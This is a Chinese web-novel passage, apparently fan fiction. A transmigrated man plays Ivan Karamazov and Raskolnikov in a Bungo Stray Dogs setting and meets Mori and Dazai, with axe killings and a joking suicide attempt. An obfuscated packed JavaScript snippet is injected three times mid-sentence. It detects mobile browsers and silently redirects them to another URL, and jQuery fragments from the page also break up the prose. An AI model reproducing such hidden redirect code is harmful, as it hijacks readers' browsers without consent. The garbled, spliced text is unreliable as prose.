《[综]我的马甲是名著角色》 1. Chapter 1.斧头与高热 -【检测到精神力阈值突破10%,马甲2号强制解锁】 横滨港口边的某处废弃工厂,一个青年骤然睁开双眼。 他感受到全身的兴奋与高热,忍不住大口、大口地喘息;随着动作,脸上泛起病态的潮红,凌乱的褐发纠缠在颊边,清瘦的身躯和尖锐的蝴蝶骨从薄衬衫中显现。 月光透过碎玻璃窗透进,浮在微颤的眼睫,为无意识放大的瞳孔与琥珀色虹膜边描上一圈圈银环。 而在他毫无血色的唇角,却有一抹鲜艳欲滴的红色。 那红色沿着他下颚的曲线一点点流下来,蜿蜒进脖颈,在那浸满了红色的衬衫内找到了归路。 一路向下延伸——能看见他那双颤抖着的右手上,正紧握着一把小巧的斧头。那斧头也在滴血,一滴,两滴…… 滴在了脚边一具冰凉的身体上。这尸体不止一具,形状都很凄惨,致命伤显然来自斧头劈砍。不过,有些不同寻常的是,他们似乎都穿着黑西装—— 晚会?当然不是,他们是黑手党。 这些人腰侧都有武器,可有些人在未来得及拔出时就已经死了。 青年看起来有些怔愣。 他站在原地,高热没有退去,呼吸却颤抖着缓慢下来,仿佛在品尝血腥的空气。 ……然而,五公里外的一栋公寓里,情况可不太美妙。 K正在心里用所有能想到的脏话痛骂系统,但坐在书桌前戴着金丝眼镜的斯拉夫青年,却只是微微皱了皱眉。 “有什么毛病?直接强制解锁还不带预警?”他承受着另一边高热的痛苦,一边呼叫,“出来解释一下!” 系统装死。 过了一会儿,那夸张的伦敦腔才终于响起:“非常抱歉,经过检查,是本方的一时疏漏导致马甲投放时间错误。为弥补错误,本系统将立刻放出马甲信息以供宿主查阅……” “行了,打住。你什么时候靠谱过?”K冷笑,在一张俊俏的脸上显得格外和谐。 一个月前,他还是个得了绝症将死的文科大学生,只不过在话剧社待过几年;闭上眼睛后,却立即被绑定了这个所谓的【名著角色扮演系统】: 说是让他扮演十个不同名著中的角色,在综漫世界里呆个十年,在原动漫角色面前多刷刷存在感,给他们留下的印象越深越好; 只要在规定时间内,把十个马甲的人设完成度都刷满,就能原地复活。 他哪有这么容易糊弄,一顿质问后却也没得到什么好答案,只听见系统惨兮兮的哭诉: 因为题材过于冷门且扮演困难,实在走投无路才找上他;要是再没有宿主完成任务,系统也会被抹杀。 于是,一个半吊子演员和一个半吊子系统,就这样搭伙过着日子。 但是,即便一个月磨合过去,这轻微智障的系统依然时不时给他爆个大雷的行为,还是令他无语至极。 “指望你?我还不如指望老鼠为我写论文。那个马甲现在烧得厉害,要是真死了会怎么样?” “您现在的人设完成度会完全清零。”系统答,“完整度清零持续时间一旦超过……” “超过三天即刻抹杀,我懂。”K打断他,“但现在这是你的错误造成的后果,我替你解决这一次;之后不论精神力阀值达标多久,具体的投放时间和地点都由我来定。” 系统沉默了。 “我现在就要你的承诺。快点,不然我立刻自杀,你也别想活。” “……我同意。”系统的声音十分委屈。“这真的是很大的妥协了!我们系统也要遵守规定的!” K懒得理它。 因新马甲的影响,他现在非常想吐,又想躺下来大睡特睡;但他还是抓起车钥匙和黑色长风衣,一刻不停向外头奔去。 大半夜,他这边开着车,头脑昏胀胀还要注意不随便把人撞飞;另一边,操纵着那具马甲先挪到干净的地躺下——现在不能断链,生怕路上出了意外,那马甲就真死了。 十分钟后,高挑的斯拉夫青年气势汹汹地冲进废弃工厂,看见了躺在地上的新马甲和十几具黑手党的尸体。 两个马甲同时睁眼,琥珀色眼瞳与深灰色眼瞳盯住对方——开了双视角似的,感觉很奇怪。 但没空适应了。K立刻断开马甲2的链接,总算好受了点,但那头昏的感觉仍在影响他。 他试图抱起那沾血的、软绵绵的身体,但是“好重!” 一个踉跄,他跌倒在地,任凭那具滚烫的身体压在自己的身上,脑袋埋在胸口。 真该死。他心里抱怨着,微微喘着气缓了一会儿,才带着痛苦的表情继续搬人,这次改用拖的,姿态像拖一袋土豆。 与此同时,嘴上还带着不可抑制的怒气: “你又发什么疯?净会给人惹麻烦!” 工厂某个角落中,一双金色猫眼正静悄悄地观察着眼前的一切;下一瞬,猫咪跳着走了,于是那双眼睛又消失不见。 系统不敢打扰怒火中的宿主,把播报声压了下来: 【人设完成度上升,目前马甲1完成度:21%,马甲2完成度:5%】 …… 森鸥外第一次见到那两个古怪的青年时,是他的去处算不上明朗、仍在原地徘徊的夜晚。 那时已经是半夜,他听见诊所外的拍门声,带着点被打扰了休息的愤怒前去查看。 猫眼里是两个斯拉夫人,都浑身是血,看不清谁才是伤员。 门才打开一点,两人便如连体婴儿一般摔进来,身上还带着夜晚的寒气。他不得不往后躲躲。 兼职着情报工作,他却从未见过这两个人。 “需要帮助吗?”他把声音放得很轻,拿了手术刀的右手背在身后。 其中一个青年——穿黑风衣戴金色眼镜的那个,姿态很优雅地站起来,对他说:“没受伤。他受了点惊吓,似乎在高烧,你看看吧。” 森鸥外现在还是医生,病人更要紧。 于是,他藏起了手里的刀,助他一起把病人抬到床上。 那具身体滚烫得像是要融化,他也能理解对方为何急得找来。 他立刻做了能做的所有常规检查,把生命体征和神经系统都查了个遍,发现没什么大碍后,才松了口气,用干毛巾给人包了点冰块敷着。 夜很静,窗外的月色宛若冷霜。 “病人应该没什么问题,很可能是情绪压力导致的免疫功能失调。只不过是看着严重,但只要冰敷休息一会儿,吃些退烧药就行。”森鸥外说,“也许我该问问,他还有什么过往病史么?” “不清楚。”那青年答道。 森鸥外一直在观察他。 比起病人清瘦的身躯和略带粗糙的手指,眼前的这位的皮肤白皙健康,五官俊俏得更富攻击性,通身气质兼杂沉稳矜持和傲气。 家境不错,甚至可能是个贵族呢。 与之相对的是:从把人放到床上的那一刻起,青年的表情便显得格外漠不关心,在检查和冰敷时也只是坐在一旁,似乎并不想上手帮忙——看来把人送到这儿来已经是最大的屈尊了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15273948|166654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 森鸥外没有抑制那点无伤大雅的好奇心:“呃,容我问问,这位是您的——?” “……同学而已。”对方沉默了几息后,回答。 那就表明肯定不只是同学。但他明智地没有再问,只是转身去拿了点退烧药,交到青年手中: “如果您有意的话,可以嘱咐您的''同学''好好休息、注意平复心情,退烧药如果不够或是效果不好,可以再来找我。” 不知为何,当他说出“好好休息,平复心情”几个字的时候,青年似乎冷笑了一声。 但对方到底没说什么,没说好,也没说不好,只问:“诊金多少?” 他报了个常规的数。对方从口袋里掏出钱夹,数出正确的数给他。在这过程中,森鸥外敏锐地注意到:那钱夹并不算厚。 家道中落?还是另有秘密? 不过,任怎么猜想,这也不是由他来操心的事。 他又像个平常关心病人的医生一样又叮嘱几句,再目送青年一手提着冰袋,一手把烧昏的病人架起来。 只不过,走出门前,那青年又突然转过头来,一双眼睛如暴风雨前的铅色海面,正深深凝望他。 淡色的唇一张一合,吐出预言般的话语: “森医生,你知道么? “人实际上是无所不可的——在必要的时候,可以杀人,也可以吃人。*”…… 森鸥外眼神一凌。 那一瞬间,除了震惊和警惕,他的脑海中不自觉掠过了无数过往;最后,又定格在对未来的隐秘期盼上。 “如果您感兴趣的话:我既是''目击者'',也是伊凡·卡拉马佐夫——不要告诉任何人我们来过。” “目击者”,“卡拉马佐夫”,森鸥外记下了这两个名字。 那时候,他还不知道自己未来是否能真能攀登到巅峰,或是坠落到某处。 但他已经知道:对目击了一切的人来说,横滨的未来注定动荡不安。 …… 【人设完成度上升,目前马甲1完成度:28%,马甲2完成度:10%】 【恭喜宿主,解锁新马甲查看权限】 两张卡牌在他眼前亮起来。 第一张底色深紫,其余用金色墨迹勾勒;中心一本厚书刻印空白十字架,上方一条毒蛇缠绕于三眼的灵性冠冕,下方是金纹的角色姓名: 【伊凡·费奥多维奇·卡拉马佐夫】——出自陀思妥耶夫斯基的巨作《卡拉马佐夫兄弟》。 不过K不得不给现实中的文豪道个歉:经过他一个月的演绎,这位重量级角色的人物形象已经带上了相当多的个人色彩,不过这似乎也无伤大雅—— 他只在最初一段时间触发过三次轻微的OOC警报,人设完成度掉了一点,但很快就被他补了回来,也算是运气不错,证明了不偏离内核的改编是可行的。 那么,接下来就是新解锁的第二张卡牌。 虽然人物与他猜想得一模一样,这张牌的真面目仍让他心中赞叹: 与第一张是不同风格的精美。深红底色,用不同的红作铺垫,做成了鲜血流淌的效果;中心是用银色墨迹勾勒的斧头与断裂十字架,上方是一个华丽又腐朽的王冠。 名字是银色的,【罗季昂·罗曼诺维奇·拉斯柯尔尼科夫】。简称“罗佳”。 出自《罪与罚》。 到这里,K脑袋中突然冒出一个想法:既然都出自他的作品,这里的陀氏若见了两人,又会怎样呢? ———————————————————— 2. Chapter 2.编辑与杀人狂 又是一个寂静的夜。 罗佳走到公寓前,看见门缝里露出的灯光,脚步下意识顿了一顿,但还是认命地从大衣口袋里摸出钥匙,颤抖着把它插进锁孔。 “吱呀——”,进门的迎接不是问候,而是一句冷冰冰的: “绕道走,别把血滴在我的地毯上。” 伊凡坐在客厅沙发上,双腿交叠,手上端了一份报纸,没有抬头;浅黄的灯光映着他的侧脸,在长长的眼睫下投一片暗影。 罗佳慢吞吞地绕过他,向一楼的洗手间走去,血迹滴了一路,一会儿还得由他自己清理。 洗手间里有淋浴,一旁放着叠好的浴巾和衣物——也是他自己提前准备的。别指望伊凡能有这么好心,他只会在自己闯祸时讥笑着嘲讽。 不过,也没什么可抱怨的。他现在是个寄人篱下的无业游民,衣食住行全靠另一人养着。 最大的用处就是帮屋主洗衣做饭洗碗,再加上偶尔代笔写点评论和给作者的回信——很公平。 若是伊凡出于同情怜悯而接济他、不求回报,他反而会怒火中烧,仿佛被羞辱了似的。 他们不是朋友,不过是“同学”:在莫斯科有过一两年接触; 因学费和家境问题,罗佳后来休了学,又在圣彼得堡就读,两人便断了联系。 ……再之后,就是罗佳辍学,犯下最初的杀人案——促使他们两人重新建立联系、让事情变成现在这副样子的契机。 在这段时间里,伊凡有时仿佛能预判到他每天出门干了什么,在他染血的日子里总是到半夜依然醒着: 有时候像现在这样冷冰冰地提醒几句,更多时候什么也不说。 然而在某种极少见的情况下,伊凡心情很好,那么他们甚至有机会坐下来,一起喝点葡萄酒。 所以,该如何形容他们现在的关系呢? 依然不算朋友,硬要说的话,不过是加上了主犯与从犯,房东与(不付租金的)租客。 ——以上设定,均出自K的粘合。 在地下诊所那一句灵机一动的“同学”,加上几茶勺原著情节,经过K一番绞尽脑汁胡编乱造,总算是把出自两部作品、八竿子打不着的两人给串了起来。 为了圆故事,提高人设完整度和剧情酸爽度,他还添上了不少狗血刺激的桥段。 “陀翁,我对不起您!……我是说现实中的那个。”K在心中祈祷,当然,还有之后的无数个可能被他霍霍的文豪。 这样一来,背景故事捋清楚了,剩下的还有表演:罗佳的马甲出现后的一个月里,K同时操纵着两个马甲,精神力阀值越来越高,精分得越来越得心应手。 一些让两个马甲左右互搏的表演,演技之精湛让系统叹为观止。 条件已经成熟,接下来就得考虑怎么与原动漫角色制造偶遇,适时把两人人设展现出来,而且给人印象要足够深刻——这意味着介入原剧情的程度必定要深,非常考验表演者的布局能力。 现在伊凡的身份是横滨杂志社编辑。 这工作是为贴合漫画世界默认的,他目前的房子和车也是——属于存在即合理,不需要掩饰或改动。 而他的日常工作就是时不时对作者发来的稿子进行一番锐评,再打回去让人重写;他自己也用笔名“目击者”发表些时评,还用德文、俄文写过不少讽刺长诗——当然是有目的的,甚至还收获了一批忠实读者。 总体下来,收入还算可观,完全养得起两个人。 此外,还有K最喜欢的部分:伊凡这个马甲有异能,而且是精神系,用得好会非常惊艳。 但因为系统那次的错误投放,罗佳这个马甲的默认身份便麻烦了许多——怎么形容,斧头杀人狂? 没错,他虽然是个无业游民,但他还有罪啊! 在某种意义上来说,这也挺符合原著的,罗佳为了证明自己的“超人”哲学成为罪犯。 但现在的他并没有受到应有的“罚”、更不会有所谓救赎,反而被系统扭曲成了另一副模样:每隔一段时间,就要出去杀人。 不过,K没有改动,保留了这一点。 因为,这完全可以说成是罗佳对于“超人哲学”的实践延伸。在这里,他只会杀“没有价值”的人:警方通缉的另一些罪犯、坏事做尽的Mafia成员以及欺凌他人的家伙。 不固定人数、不确定时间,只要恰好凑到他面前,他都会将他们“消灭”;但每次做完这些事后,他又会感受到巨大的精神压力,随之而来的就是高烧、幻听幻视等症状,堪称默认的负面Debuff。 虽然坏处看起来很多,但好处也是有的:罗佳的异能就与此相关。 【斧头】:能随心意幻化出一把斧头,同时力量、敏捷度会得到大幅度提升。 而且最Bug的一点是,死在他斧头下的人,在他离开后就会立刻消失; 而在他解除能力前,几乎所有人都不会注意到这个浑身是血的危险分子,罪证也随之全部消失,根本查不出任何东西——除非他自首。 近乎完美的“犯罪型”异能——近乎。 罗佳就是靠这一点,在处理了无数黑手党后仍能安然做无业游民。 这一切都是可以利用的,不要小瞧“死线”将近的新晋社畜! K在知晓新马甲的能力和特质后,便已经有了计划。 一个寻常的夏日,正是杂志社的工作时间。 伊凡坐在自己的办公桌旁,这地方很宽敞安静。 因为毒辣的眼光、高冷的性格与这么一张优越的西方脸,他在此地很受尊敬——同事与上司甚至可以说有点畏惧,完全不敢亲近他或使唤他。 但今天似乎还有些不同,伊凡虽然依旧没什么表情,却能从周身的气场看出来,他心情不错。 他的面前放着一封信——一个“目击者”的读者寄来的。 在这个信息时代,这位素未谋面的人似乎还是喜爱用传统的方式交流。 信纸用的是白桦树皮,带着点熨贴的清香;信上写的是俄文——物是故乡的物,人是故乡的人。 信上写着的是: 【致尊敬的“目击者”先生: 请谅解我的唐突,我看了您的长诗和所有文章,许多遍许多遍,直到纸张也终于脆弱地碎掉为止,也终于是时候寄出这封信了。 许多年来,我似乎总是浑浑噩噩,无所事事的:这个令人沉痛失望的世界没有变故,也没有什么意外发生在我身上; 而现在,我总觉得我得到了一个真正的朋友,一个懂得我的心的人,让我明白了:我用以躲避残酷现实的那些沉思,不会是没有用的。 因为受您金子一般的智慧的启迪,我现在怀有的欲|望和希望,是过去根本无法预料的。 在与您的文字对话的那些日夜里,我已经听见最沉重的责任:这世界需要有人来抚平眼泪,需要有人做背负罪孽的审判者! 请您用那双通透的眼睛看着吧,我会沿着我自己的和您所启发的道路继续走下去的;尽管,我知晓您并非基督的忠仆,但我仍深爱您的矛盾与怀疑,期待着着您的品评。 您的忠实的读者与朋友:F·D】 这封信的寄信地址就在横滨,但伊凡皮下的K深知,此人此刻并不真的在这里。 但他还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15273949|166654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是拿出一个信封,将那个地址写在了寄信人地址的位置。 然后再拿出一张信纸和一些草稿纸,几经修改后,将完整的回信写在上面: 【致尊敬的“朋友”先生: 您期待我的什么品评呢? 若事情进展的顺利,并不意味着那就是真理;若撞了南墙,也并不说明它就毫无价值。 对此,我的忠告只有:既然您仍抱有希望的话,那就去做您想做的事吧! 至于之后如何,恐怕基督也没法知道。 您并不忠实的朋友:目击者】 信件填好信息托人寄出后,系统再次冒泡:【人设完成度上升,目前马甲1完成度:36%,马甲2完成度:15%】 是时候了,K心想。 “嗡嗡——”放在一旁的手机适时震动,显示屏上的号码属于罗佳。 伊凡立刻接起电话:“怎么了?” 电话另一头传来的是断断续续的喘气声,以及“咚”的,重物坠地声响。 …… 诊所的门被敲响时,森鸥外正试图给他美丽的爱丽丝换小裙子。 “去帮我开个门。”他对一旁的少年说。 “不——要——”少年拖长了调子,撒娇般地说。 当门外的声音越来越大、大到无法忽视的时候,他不得不放下手里的洋裙,(“抱歉啊,小爱丽丝,我还有工作哦”),任劳任怨跑去开门。 门外竟然是两个月前见过的那两位斯拉夫人。 只不过,这次没有摔倒,但戴眼镜的疑似没落贵族青年好像更生气了点,摆明了不想说话。 “这次是……?”森鸥外一边帮着人把病患架到床上,一边问。 半个小时前。 是低血糖。 伊凡非常清楚:现在他要做的就是找点甜的东西,然后塞进已经昏迷的病患嘴里。 可家里只有放咖啡的方糖,而这家伙昏迷着,连带着自己的脑子也被烧得不太清楚,似乎也同样需要糖分。 于是,向来矜持的他做出了一个十分不理智且不符合设定的举动: 拿到方糖后没有去找勺子和杯子,而是直接放进自己嘴中含住、嚼碎,再把人撑起来,把口中的糖粒渡了进去。 他感受到心跳和那种奇异的共鸣,白皙的脸上泛起的浅淡红潮,深灰色的眼睛也雾蒙蒙的。 然后,迅速站起来,欲盖弥彰似的擦了擦嘴角。 K终于清醒过来,庆幸还好没人能看到,系统也不会全天候监视,因此不会被判定为OOC:不过虽说是同一个人的马甲,这也有点怪了。 ——当然,这时候的他还太天真,不晓得系统会有实时录像这种功能。也不知道这个画面将会在另一个世界引起多大的轰动。 之后的事,就是把人再次送到森鸥外那里。 本来就是低血糖和营养不良,也没什么多余的东西可查的。 在森鸥外忙活的一阵子里,伊凡的眼睛略过了“女孩”爱丽丝,不动声色地定在另一个少年身上。 柔软的深栗色短发和精致的面容,右眼缠着绷带,看似微笑着的甜美表象下却藏着深不见底的黑洞呢。 ——你好,主角君。 少年注意到他的视线,对他露出一个大大的笑:“您就是森先生说过的卡拉马佐夫先生么?长得不赖嘛!” 他说着又凑近伊凡耳边,黏黏腻腻又故意大声说:“不过,您要小心森先生哦!他是个有隐藏特殊爱好的变态!” 房间另一变传来“变态”无奈的声音:“太宰——” ———————————————————— 3. Chapter 3.交锋 “您要小心森先生哦!他是个有隐藏特殊爱好的变态!” 说完这话,少年用鸢色的眼睛直直盯着他,似乎非常想要看到他类似唾弃的表现。 但伊凡思考了几秒,问:“我只有一个问题,森医生信仰基督吗?” “诶?”少年愣了下,眨眨眼,“应该——没有吧?” 伊凡笑了,不是平常那种冰冷的、讥诮的笑,而是另一种,当他心情很不错时才会露出的真诚笑容: “那我便没什么可说的了。既然森医生懂得了那道理,内心不会受什么煎熬,被法律或是他人的普世道德审判于他也并无用处,那还有什么不可的?” ——当然不可。不过K不会在披着这个皮时说出来。 他的话让诊所有片刻寂静,消毒水的气味在空气里凝成实体。 少年——太宰治突然嗤笑出声,手指绕着绷带玩:“哎呀,卡拉马佐夫先生居然是这种类型啊。就算我邀请您跟我一起入水,您也会站在岸边看我沉下去吧?” “太宰,”森鸥外突然说,将葡萄糖注射液挂上支架,“上楼去把备用室第三排柜子里的吊瓶针拿来。爱丽丝,先去卧室里呆着好吗?” 栗发少年撇撇嘴晃出去。“爱丽丝”则朝他瞪了一瞪眼,说:“林太郎最讨厌了!”,便转身蹦蹦跳跳地上了楼。 “抱歉,卡拉马佐夫先生。”森鸥外歉意地笑笑,“我的爱丽丝还不太懂事;另一个孩子是我在河边捡来的,教养不太好。” “没关系。”伊凡说,“另外,您可以直接叫我名字。” “这是不是不太妥……” “没关系。”伊凡再次强调,“我并不喜欢这个姓氏;而且,对你们来说发音比较困难。” 森鸥外心下顿时有了猜测,嘴上却不动声色:“当然,伊凡……先生。不过,恕我直言,是您的这位同学的事……” “直说吧。” “这位先生似乎不只是短期低血糖,他好像有相当长一段时间进食不规律,而且食量过少,这样下去……” 医生似乎意有所指,伊凡的脸色顿时更差,语气也很冷,蕴藏着某种忍无可忍的怒气: “这您还是问他自己更好。我为他留下大笔生活费,足够让他自己解决餐食,连每天喝奢侈下午茶的都够—— 但现在不知怎的,我留给他的钱一点不剩,解释也没有一句,他自己却饿到瘫在我家客厅里,让我不得不翘班来送他!” 森鸥外见触到霉头,明智地闭上了嘴。 然而,昏迷中的青年不知是否听见了这话,幽幽转醒,声音虚弱但清晰无比:“这一切可不是我的要求,您就别多管闲事了!” “我别多管闲事?”伊凡冷笑,“你现在的衣服和吃食哪一样不是我在供养?没了我,你以为你还能活多久?” “所以呢?”罗佳同样冷笑,琥珀色的眼瞳里盛满讽刺:“我该对卡拉马佐夫少爷的赏赐充满感激?像个仆人一样任你摆布?那我宁可躺在六尺之下!” 伊凡没有回答他,似乎懒得与他争吵,恢复了冷漠的样子。 但罗佳显然陷入了某种痛苦的内省和外放的挣扎中,急于得到某种答案,或者是与孤独压抑相伴过久,不得不驱散一点,好让自己好过些:【我躺在您家的客厅里,毫无价值,和任何一个流氓乞丐没有区别,您干脆把我赶走,让我自生自灭好了!】 他已经换上了母语。 于是伊凡冷眼看他,也用母语回答,语气近乎嘲弄:【承认错误很难么?罗季昂·罗曼诺维奇?这种争吵毫无必要,你一天到晚除了折磨自己、折磨我,便没有别的事可做了?你若是安分一些,难道我还会阻止你?】 罗佳喘了几口气才反驳,语气更加愤怒:【是您自己选择的这种折磨!而我的苦难又和您有什么关系?您非要站在旁边提醒我吗? 事实就是:您这个伟大的知识分子,瞧不起任何人!把所有人都当作是一个观察样本,一个新闻报道里遥远的故事,却要摆出一副高尚又事事关心的样子。 当然,您尽可以去别处施展您替代基督的博爱,做您的旁观者好了!但我不需要!我不需要什么赏赐!】 伊凡沉默,他的脸上闪现出一种羞耻,又迅速消失不见:【您以为我想么?如您所说,我本可以一直袖手旁观,但谁知道会发生那样的事呢? 我身边本就没有多少人,我也不需要,我一直享受着孤独。 所以,我现在的这种行为也不是怜悯!只不过是为了我自己好罢了。可看看您现在这副样子,每一次,每一次我都来了,您为什么就不能安稳一天呢?】 罗佳似乎不为所动:【……不是我让您来的。】 伊凡又笑了,这笑在他脸上显得美丽又瘆人。这一刻,他心中突然涌现出一种厌恶,既是对眼前这个青年的厌恶,也是对自己的厌恶: 【不——是您叫我来的。忘了么?就在您快要昏迷过去的那一刻,您还给我打了电话。每一次您叫我,我都来了。】 病床上的青年凝滞住了,良久才从嘴唇中轻轻呢喃出一句:【……第一次不是。】 【什么?】 【……第一次不是我叫的你。】 双方都不再说话了,罗佳说了一会儿话后似乎又有些虚弱,再次沉沉睡去。 ……陀翁,我对不起您。K忍不住想,但我演爽了。 这时候,踢踢踏踏的脚步声终于传来。“当啷”,一卷吊瓶针被砸在了托盘上。 太宰治看了看脸色苍白的伊凡,又看了看一语不发的森鸥外:“哎?我错过什么重要的事了吗?” “没有哦。”森鸥外一边将针插进吊瓶,一边回答。 待病人成功挂上葡萄糖,伊凡将医生叫到一边,犹豫了一会儿才开口:“让您见笑。但我现在有个不情之请。” “请说,伊凡先生。” “……您是否能在我去工作的时候,暂时托管一下罗佳?只是让他按时吃饭、不要乱跑,其他随您处置。我下班后他自己会回来。” 森鸥外的反应十分标准:“非常抱歉,我的能力与精力都十分有限,恐怕无法很好地完成您的要求。而且——”兼职情报工作,时常会碰上大麻烦。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15273950|166654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我会付钱的。” “这不是钱的问题……” “只要您让他按时用餐就好,其他也不用管,让他随便跑;要是您愿意,也可以差遣他做助手,不用担心麻烦。”伊凡看了一眼太宰治,“可以像对待那位小先生一样对待他。” 医生谨慎地说:“恐怕您的……同学,并不会乐意您这么做。” “我不在乎。我只是不想让他死在我家里。”伊凡不知想到什么,居然笑了一下,“不用担心,他虽然自尊心强,但不会对着一般人发泄,宁可自己忍着。” 森鸥外似乎还想开口,却被一旁窜出的栗发少年打断了:“我想森先生绝——对——不会拒绝这样合理的请求的!而且,伊凡先生和这位先生都是有趣的好人,对吧?” 森鸥外被少年的手肘用力捅了一下,很无奈地叹气:“真是不让人省心……当然,没有问题,伊凡先生。您也不用提钱的事了,照顾病人是身为医生的责任。” 伊凡点了点头,说:“我明白了。” 几秒钟后,他深灰色的眸子里突然闪过异样的光华,露出一个诡秘的微笑,看上去不太像人: “我明白了,感谢您的慷慨。如果森医生有别的什么事需要帮忙,请不要羞于向我们求助……当然,关键在您。” 伊凡留下几张大钞和一张印着号码的名片,走了。 还剩一个仍在挂葡萄糖的病人,和两个终于松了口气的原住民。 “哎呀,搞的我紧张得不行呢。”少年三步两步扑向沙发,“果然跟森先生说得一样吓人。不过,他和他写的东西都超——有趣的。” 森鸥外和煦地笑了笑:“好了,那段话你录下来没有?” 太宰治从口袋里掏出发红光的手机,朝他晃了晃:“当然咯,全程都在录音呢!我现在就要知道他们到底说的什么!” 他们截取了俄语的一段,用翻译器将每一段都翻译出来,两颗脑袋凑在一起。 “……哇哦。” 看完后,少年忍不住发出这样一声感叹:“果然,复杂关系和精彩故事是人类的最爱!” 虽然这么说着,他的脸色却骤然冷下来,深渊一样的内心涌现出嘲讽:这种扭曲又可笑的情感……竟然出现在人前,真是有恃无恐呢。 只不过,一次录音便获取了如此少见的情报,有这么简单么? 不过,好在他还留了一手。 “的确是复杂的关系,但这是可以利用的。不过,现在的重点是,他们究竟有什么样的能力?”森鸥外的眼中充满算计。 太宰治佯装着打了声哈欠:“您不会觉得,最近港口黑手党内著名的失踪事件和那些莫名消失的通缉犯,跟他们有关系吧?” “谁知道呢?港口黑手党还在追杀那个幽灵一样的搅局者;而那个伊凡·卡拉马佐夫似乎对我十分了解,也是相当可怕的能耐,但若是能为我所用……” 少年的表情似笑非笑:“森先生要小心哦!一不注意,您可就变成他们手下的碎片啦!” ———————————————————— 4. Chapter 4.论死亡 罗佳·拉斯柯尔尼科夫在几个小时后醒来。 一见他睁开眼,身上缠了绷带的栗发少年立刻从沙发上跳起来:“森——先——生,病人醒啦!” “您感觉如何?”森鸥外挂着一副担忧的表情,但病人只是厌倦地瞥了他一眼。 “他走了?” “是的哦,留下一句话,就毫不留情地走了呢。”少年抢答道。 病人不为所动,好似早有预料的样子。 太宰治心有不甘,似乎想看点别的反应,但森医生及时打断了他:“可以了,太宰,这位先生需要休息。我接下来要说的话,您听着就好:伊凡先生希望您在他工作时,能够暂时待在我这里,由我负责您的饮食健康。 当然,如果您有异议,我会帮您联系伊凡先生的。” 鉴于病人之前与伊凡的“争吵”,两人都以为他会有更激烈的反应。 然而,什么都没有,这位“罗佳”先生对外物似乎少有兴趣,呈现出一种高傲又阴郁的姿态: “不用,就这样吧……谢谢。” 森鸥外深知自己不该再多说话,但目前的情况容不得马虎,还是提前说清楚更好: “伊凡先生只告知我需要按时给您提供餐食,其余时间您都是自由的,无需担心;要是我们遇见什么麻烦,您尽量回避就好,不用在意。” 谁知,罗佳竟然嗤笑一声:“他还告知你们什么?应该不止说了这些。是不是还有''随您处置''?” 森鸥外没有回答,于是太宰治替他答了:“是的!他还说可以差遣您做助——哎呀!” 医生没怎么用力地敲了敲他的脑袋,阻止他说下去:“并非如此,伊凡先生对您存在适当的关心。何况,找看病人本就是医生的工作,不妨事的。” 罗佳沉默了一会儿,语气未变,吐出的字却令人觉得无端惊悚: “是么?……森医生,若您还想要明哲保身,两个月前那一次就该把我们拒之门外。” 森鸥外仍在微笑:“……我不太明白您的意思。” “不明白么?可那天卡拉马佐夫对您说那番话的时候,我是醒着的呀。” 医生微笑的表情一点点褪下来,展露出冷酷的本质: “可若我说,我现在不想要明哲保身呢?” 罗佳琥珀色的眸子终于完全转向他:“您也想做戴上冠冕的''超人类''么?尽管尝试吧,像我一样……不过,记得离卡拉马佐夫远一些。” “为什么?他究竟有什么特殊能耐?” “特殊能耐?”病人苦笑。 “不,他不需要什么特殊能耐——他是理性与癫狂的化身,是一团侵吞万物、诱人堕落的地狱之火。” 房间内因这句出乎意料的评价静了一会儿。 “您说卡拉马佐夫先生是地狱之火?” 太宰治趴在病床栏杆上歪歪脑袋,绷带随着动作滑落一角:“那您就是被火焰灼伤的飞蛾咯?” 罗佳似乎意识到自己的失言,瞪了他一眼,并没有回答;任由少年怎么纠缠,他也只是厌倦又含糊地说几个“好”与“不好”。 自从这天之后,再问罗佳关于两人之间的故事,便得不到任何回答了。 而且,森鸥外与太宰治都发现,这人在病中与平日里似乎完全是两个样子——当然,也有可能他本来就是现在这副样子,只有和伊凡待在一起时会展现出一点癫狂。 太宰治时常在他面前故意耍宝,或是说些能惹怒人的话,但罗佳都只是默默地看着他,有时候甚至看也不看他,逗起来很没意思。 “哎呀,真——是——的,拉斯巴拉巴拉先生太无趣啦,好像怎么样都不会生气——” 罗佳没有纠正他故意叫错的名字,只是冷笑一声,脸上的表情明显写着:我来这儿可不是为了让你开心。 但有时候,他又完全不可预料,时不时说出一些惊人的话,有时简直能把太宰治也吓一跳。 比如一次,少年在诊所的梁上绑起一条白绫,又站在凳上把脑袋套进圈里:“当当——第八次尝试!自杀方式之五,上吊!” 身后传来一阵讥讽的笑。 “您知道绞刑的死亡率是多少吗?” 